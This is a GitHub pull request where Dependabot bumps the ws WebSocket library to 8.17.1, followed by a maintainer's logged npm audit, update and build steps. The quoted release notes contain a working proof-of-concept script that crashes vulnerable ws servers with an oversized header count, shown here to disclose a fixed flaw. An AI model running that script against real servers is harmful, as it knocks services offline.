Skip to content

build(deps-dev): bump ws from 8.16.0 to 8.17.1#2031

Merged
akagane99 merged 3 commits intomasterfrom
dependabot/npm_and_yarn/ws-8.17.1
Jun 20, 2024
Merged

build(deps-dev): bump ws from 8.16.0 to 8.17.1#2031
akagane99 merged 3 commits intomasterfrom
dependabot/npm_and_yarn/ws-8.17.1

Conversation

@dependabot
Copy link
Contributor

@dependabot dependabot bot commented on behalf of github Jun 18, 2024

Bumps ws from 8.16.0 to 8.17.1.

Release notes

Sourced from ws's releases.

8.17.1

Bug fixes

  • Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding the[server.maxHeadersCount][] threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j &lt; chars.length; j++) {
  const key = chars[i] + chars[j];
  headers[key] = 'x';
if (++count === 2000) break;
}

}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the [--max-http-header-size=size][] and/or the [maxHeaderSize][] options so that no more headers than the server.maxHeadersCount limit can be sent.

... (truncated)

Commits
  • 3c56601 [dist] 8.17.1
  • e55e510 [security] Fix crash when the Upgrade header cannot be read (#2231)
  • 6a00029 [test] Increase code coverage
  • ddfe4a8 [perf] Reduce the amount of crypto.randomFillSync() calls
  • b73b118 [dist] 8.17.0
  • 29694a5 [test] Use the highWaterMark variable
  • 934c9d6 [ci] Test on node 22
  • 1817bac [ci] Do not test on node 21
  • 96c9b3d [major] Flip the default value of allowSynchronousEvents (#2221)
  • e5f32c7 [fix] Emit at most one event per event loop iteration (#2218)
  • Additional commits viewable in compare view

Dependabot compatibility score

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


Dependabot commands and options

You can trigger Dependabot actions by commenting on this PR:

  • @dependabot rebase will rebase this PR
  • @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
  • @dependabot merge will merge this PR after your CI passes on it
  • @dependabot squash and merge will squash and merge this PR after your CI passes on it
  • @dependabot cancel merge will cancel a previously requested merge and block automerging
  • @dependabot reopen will reopen this PR if it is closed
  • @dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually
  • @dependabot show <dependency name> ignore conditions will show all of the ignore conditions of the specified dependency
  • @dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
  • @dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
  • @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
    You can disable automated security fix PRs for this repo from the Security Alerts page.

Bumps [ws](https://github.com/websockets/ws) from 8.16.0 to 8.17.1.
- [Release notes](https://github.com/websockets/ws/releases)
- [Commits](websockets/ws@8.16.0...8.17.1)

---
updated-dependencies:
- dependency-name: ws
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
@dependabot dependabot bot added dependencies Pull requests that update a dependency file javascript Pull requests that update Javascript code labels Jun 18, 2024
@akagane99
Copy link
Contributor

対応

上記を参考に対応

@akagane99
Copy link
Contributor

akagane99 commented Jun 20, 2024

コマンド結果(脆弱性対応)

## ローカルにある古いリモートブランチ削除
git fetch -p

## ローカルリポジトリの最新化
git fetch

## リモートも含めた全ブランチ表示
git branch -a

## リモートブランチをローカルにチェックアウト
git checkout -b ws-8.17.1 remotes/origin/dependabot/npm_and_yarn/ws-8.17.1

## その後作業

PS C:\projects\connect-cms\connect-cms\htdocs\connect-cms> npm audit fix

added 1 package, changed 3 packages, and audited 783 packages in 3s

90 packages are looking for funding
  run `npm fund` for details

found 0 vulnerabilities
PS C:\projects\connect-cms\connect-cms\htdocs\connect-cms> npm audit
found 0 vulnerabilities
PS C:\projects\connect-cms\connect-cms\htdocs\connect-cms> npm update

added 2 packages, removed 3 packages, changed 131 packages, and audited 782 packages in 26s

90 packages are looking for funding
  run `npm fund` for details

found 0 vulnerabilities
PS C:\projects\connect-cms\connect-cms\htdocs\connect-cms> npm run prod

> prod
> npm run production

> production
> mix --production

 Mix █████████████████████████ done (99%) plugins
 BuildCallbackPlugin

 Mix █████████████████████████ done (99%) plugins
 WebpackBar:done

 Mix
  Compiled successfully in 8.07s

                         
   Laravel Mix v6.0.49   
                         

 Compiled Successfully in 7781ms
┌──────────────────────────────┬──────────┐
                         File  Size     
├──────────────────────────────┼──────────┤
                   /js/app.js  1.51 MiB 
       /js/app.js.LICENSE.txt  2.89 KiB 
                  css/app.css  143 KiB  
└──────────────────────────────┴──────────┘
webpack compiled successfully

package-lock.json確認

更新後、バージョンが上がっていることを確認。

        "node_modules/ws": {
            "version": "8.17.1",

        "node_modules/braces": {
            "version": "3.0.3",

下記も同時対応しました。

@akagane99 akagane99 added the developer update 開発者向けの更新 label Jun 20, 2024
@akagane99 akagane99 self-assigned this Jun 20, 2024
@akagane99 akagane99 merged commit b73cc9f into master Jun 20, 2024
@akagane99 akagane99 deleted the dependabot/npm_and_yarn/ws-8.17.1 branch June 20, 2024 08:06
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file developer update 開発者向けの更新 javascript Pull requests that update Javascript code

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant